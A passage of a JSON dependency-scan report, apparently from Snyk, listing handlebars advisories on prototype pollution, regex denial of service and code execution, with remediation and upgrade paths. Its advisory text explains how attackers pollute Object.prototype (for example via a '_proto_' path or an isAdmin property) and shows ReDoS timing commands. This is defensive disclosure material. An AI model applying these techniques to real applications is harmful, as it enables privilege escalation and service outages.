\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `handlebars` to version 4.0.14, 4.1.2 or higher.\n## References\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86)\n- [GitHub Issue](https://github.com/wycats/handlebars.js/issues/1495)\n- [NPM Security Advisory](https://www.npmjs.com/advisories/755)\n", + "disclosureTime": "2018-12-28T20:34:57Z", + "exploit": "Not Defined", + "functions": [ + { + "functionId": { + "filePath": "dist/amd/handlebars/compiler/javascript-compiler.js", + "className": null, + "functionName": "JavaScriptCompiler.prototype.nameLookup" + }, + "version": [ + ">1.0.12 <4.0.13" + ] + }, + { + "functionId": { + "filePath": "dist/handlebars.js", + "className": null, + "functionName": "JavaScriptCompiler.Handlebars.JavaScriptCompiler" + }, + "version": [ + ">=1.0.6 <=1.0.12" + ] + } + ], + "fixedIn": [ + "4.0.14", + "4.1.2" + ], + "id": "SNYK-JS-HANDLEBARS-173692", + "identifiers": { + "CWE": [ + "CWE-471" + ], + "NSP": [ + "755" + ], + "CVE": [], + "GHSA": [ + "GHSA-6r5x-hmgg-7h53" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:40:53.284737Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-02-14T17:52:50Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/wycats/handlebars.js/issues/1495" + }, + { + "title": "NPM Security Advisory", + "url": "https://www.npmjs.com/advisories/755" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "dist/amd/handlebars/compiler/javascript-compiler.js", + "functionName": "JavaScriptCompiler.prototype.nameLookup" + }, + "version": [ + ">1.0.12 <4.0.13" + ] + }, + { + "functionId": { + "filePath": "dist/handlebars.js", + "functionName": "JavaScriptCompiler.Handlebars.JavaScriptCompiler" + }, + "version": [ + ">=1.0.6 <=1.0.12" + ] + } + ], + "semver": { + "vulnerable": [ + "<4.0.14", + ">=4.1.0 <4.1.2" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.14" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", + "alternativeIds": [], + "creationTime": "2019-04-14T11:55:45.212136Z", + "credit": [ + "Nils Knappmeier" + ], + "cvssScore": 7.3, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution. A Prototype Pollution allowing Remote Code Execution can be exploited using the constructor, via the 'lookup' helper.\r\nThis vulnerability is due to an incomplete fix for: `SNYK-JS-HANDLEBARS-173692`\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `handlebars` to version 3.0.7, 4.1.2, 4.0.14 or higher.\n## References\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/cd38583216dce3252831916323202749431c773e)\n- [GitHub Issue](https://github.com/wycats/handlebars.js/issues/1495)\n- [SNYK-JS-HANDLEBARS-173692](https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692)\n", + "disclosureTime": "2019-04-13T06:31:34Z", + "exploit": "Not Defined", + "functions": [ + { + "functionId": { + "filePath": "lib/handlebars/helpers/lookup.js", + "className": null, + "functionName": "module.exports" + }, + "version": [ + ">3.0.6 <4.1.2" + ] + } + ], + "fixedIn": [ + "3.0.7", + "4.1.2", + "4.0.14" + ], + "id": "SNYK-JS-HANDLEBARS-174183", + "identifiers": { + "CWE": [ + "CWE-471" + ], + "GHSA": [ + "GHSA-q42p-pg8m-cqh6" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-07T10:35:57.706044Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-04-14T06:31:34Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/cd38583216dce3252831916323202749431c773e" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/wycats/handlebars.js/issues/1495" + }, + { + "title": "SNYK-JS-HANDLEBARS-173692", + "url": "https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "lib/handlebars/helpers/lookup.js", + "functionName": "module.exports" + }, + "version": [ + ">3.0.6 <4.1.2" + ] + } + ], + "semver": { + "vulnerable": [ + ">=3.0.0 <3.0.7", + ">=4.1.0 <4.1.2", + ">=4.0.0 <4.0.14" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.14" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", + "alternativeIds": [], + "creationTime": "2019-09-25T13:12:40.749568Z", + "credit": [ + "itszn" + ], + "cvssScore": 7.3, + "description": "## Overview\n\n[handlebars](https://www.npmjs.com/package/handlebars) is a extension to the Mustache templating language.\n\n\nAffected versions of this package are vulnerable to Prototype Pollution.\nTemplates may alter an Object's `__proto__` and `__defineGetter__` properties, which may allow an attacker to execute arbitrary code on the server through crafted payloads.\n\n## Details\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\r\n\r\nThere are two main ways in which the pollution of prototypes occurs:\r\n\r\n- Unsafe `Object` recursive merge\r\n \r\n- Property definition by path\r\n \r\n\r\n### Unsafe Object recursive merge\r\n\r\nThe logic of a vulnerable recursive merge function follows the following high-level model:\r\n```\r\nmerge (target, source)\r\n\r\n foreach property of source\r\n\r\n if property exists and is an object on both the target and the source\r\n\r\n merge(target[property], source[property])\r\n\r\n else\r\n\r\n target[property] = source[property]\r\n```\r\n
\r\n\r\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\r\n\r\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\r\n\r\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\r\n\r\n### Property definition by path\r\n\r\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\r\n\r\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\r\n\r\n## Types of attacks\r\n\r\nThere are a few methods by which Prototype Pollution can be manipulated:\r\n\r\n| Type |Origin |Short description |\r\n|--|--|--|\r\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\r\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\r\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\r\n\r\n## Affected environments\r\n\r\nThe following environments are susceptible to a Prototype Pollution attack:\r\n\r\n- Application server\r\n \r\n- Web server\r\n \r\n\r\n## How to prevent\r\n\r\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\r\n \r\n2. Require schema validation of JSON input.\r\n \r\n3. Avoid using unsafe recursive merge functions.\r\n \r\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\r\n \r\n5. As a best practice use `Map` instead of `Object`.\r\n\r\n### For more information on this vulnerability type:\r\n\r\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\n\nUpgrade `handlebars` to version 4.3.0, 3.0.8 or higher.\n\n\n## References\n\n- [GitHub Commit](https://github.com/handlebars-lang/handlebars.js/commit/156061eb7707575293613d7fdf90e2bdaac029ee)\n\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/213c0bbe3c4bd83a534d67384e5afa0000347ff6)\n\n- [GitHub Issue](https://github.com/wycats/handlebars.js/issues/1558)\n\n- [Reference](https://www.npmjs.com/advisories/1164)\n\n- [Release Notes](https://github.com/wycats/handlebars.js/blob/master/release-notes.md#v430---september-24th-2019)\n", + "disclosureTime": "2019-09-24T15:14:43Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.3.0", + "3.0.8" + ], + "id": "SNYK-JS-HANDLEBARS-469063", + "identifiers": { + "CWE": [ + "CWE-471" + ], + "NSP": [ + "1164" + ], + "CVE": [ + "CVE-2019-19919" + ], + "GHSA": [ + "GHSA-w457-6q6x-cgp9" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-27T09:42:38.558363Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-09-25T14:33:59Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/handlebars-lang/handlebars.js/commit/156061eb7707575293613d7fdf90e2bdaac029ee" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/213c0bbe3c4bd83a534d67384e5afa0000347ff6" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/wycats/handlebars.js/issues/1558" + }, + { + "title": "Reference", + "url": "https://www.npmjs.com/advisories/1164" + }, + { + "title": "Release Notes", + "url": "https://github.com/wycats/handlebars.js/blob/master/release-notes.md%23v430---september-24th-2019" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.3.0", + "<3.0.8" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.3.0" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", + "alternativeIds": [], + "creationTime": "2019-11-05T12:16:29.016014Z", + "credit": [ + "Unknown" + ], + "cvssScore": 7.5, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). The package's parser may be forced into an endless loop while processing specially-crafted templates, which may allow attackers to exhaust system resources leading to Denial of Service.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `handlebars` to version 4.4.5 or higher.\n## References\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/8d5530ee2c3ea9f0aee3fde310b9f36887d00b8b)\n- [GitHub Issue](https://github.com/wycats/handlebars.js/issues/1579)\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1300)\n", + "disclosureTime": "2019-10-30T15:57:14Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.4.5" + ], + "id": "SNYK-JS-HANDLEBARS-480388", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1300" + ], + "CVE": [ + "CVE-2019-20922" + ], + "GHSA": [ + "GHSA-f52g-6jhx-586p" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-02-11T09:51:32.219466Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-11-05T12:19:43Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/8d5530ee2c3ea9f0aee3fde310b9f36887d00b8b" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/wycats/handlebars.js/issues/1579" + }, + { + "title": "NPM Security Advisory", + "url": "https://www.npmjs.com/advisories/1300" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Denial of Service (DoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.4.5" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.4.5" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L", + "alternativeIds": [], + "creationTime": "2019-11-15T15:45:34.906048Z", + "credit": [ + "Francois Lajeunesse-Robert" + ], + "cvssScore": 8.1, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.\n## Remediation\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n## References\n- [NPM Security Advisory #1](https://www.npmjs.com/advisories/1316)\n- [NPM Security Advisory #2](https://www.npmjs.com/advisories/1324)\n", + "disclosureTime": "2019-11-14T15:29:41Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.5.3", + "3.0.8" + ], + "id": "SNYK-JS-HANDLEBARS-534478", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "NSP": [ + "1316", + "1324" + ], + "CVE": [ + "CVE-2019-20920" + ], + "GHSA": [ + "GHSA-q2c6-c6pm-g3gh", + "GHSA-2cf5-4w76-r9qv" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-02-11T12:35:29.725892Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-11-15T15:48:43Z", + "references": [ + { + "title": "NPM Security Advisory #1", + "url": "https://www.npmjs.com/advisories/1316" + }, + { + "title": "NPM Security Advisory #2", + "url": "https://www.npmjs.com/advisories/1324" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Arbitrary Code Execution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.5.3", + "<3.0.8" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [], + "creationTime": "2019-11-20T09:54:27.277624Z", + "credit": [ + "Vladyslav Babkin" + ], + "cvssScore": 9.8, + "description": "## Overview\n\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\n\nAffected versions of this package are vulnerable to Prototype Pollution.\nIt is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n## Details\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\r\n\r\nThere are two main ways in which the pollution of prototypes occurs:\r\n\r\n- Unsafe `Object` recursive merge\r\n \r\n- Property definition by path\r\n \r\n\r\n### Unsafe Object recursive merge\r\n\r\nThe logic of a vulnerable recursive merge function follows the following high-level model:\r\n```\r\nmerge (target, source)\r\n\r\n foreach property of source\r\n\r\n if property exists and is an object on both the target and the source\r\n\r\n merge(target[property], source[property])\r\n\r\n else\r\n\r\n target[property] = source[property]\r\n```\r\n
\r\n\r\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\r\n\r\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\r\n\r\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\r\n\r\n### Property definition by path\r\n\r\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\r\n\r\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\r\n\r\n## Types of attacks\r\n\r\nThere are a few methods by which Prototype Pollution can be manipulated:\r\n\r\n| Type |Origin |Short description |\r\n|--|--|--|\r\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\r\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\r\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\r\n\r\n## Affected environments\r\n\r\nThe following environments are susceptible to a Prototype Pollution attack:\r\n\r\n- Application server\r\n \r\n- Web server\r\n \r\n\r\n## How to prevent\r\n\r\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\r\n \r\n2. Require schema validation of JSON input.\r\n \r\n3. Avoid using unsafe recursive merge functions.\r\n \r\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\r\n \r\n5. As a best practice use `Map` instead of `Object`.\r\n\r\n### For more information on this vulnerability type:\r\n\r\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\n\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n\n\n## References\n\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/198887808780bbef9dba67a8af68ece091d5baa7)\n\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1325)\n", + "disclosureTime": "2019-11-18T19:42:01Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.5.3", + "3.0.8" + ], + "id": 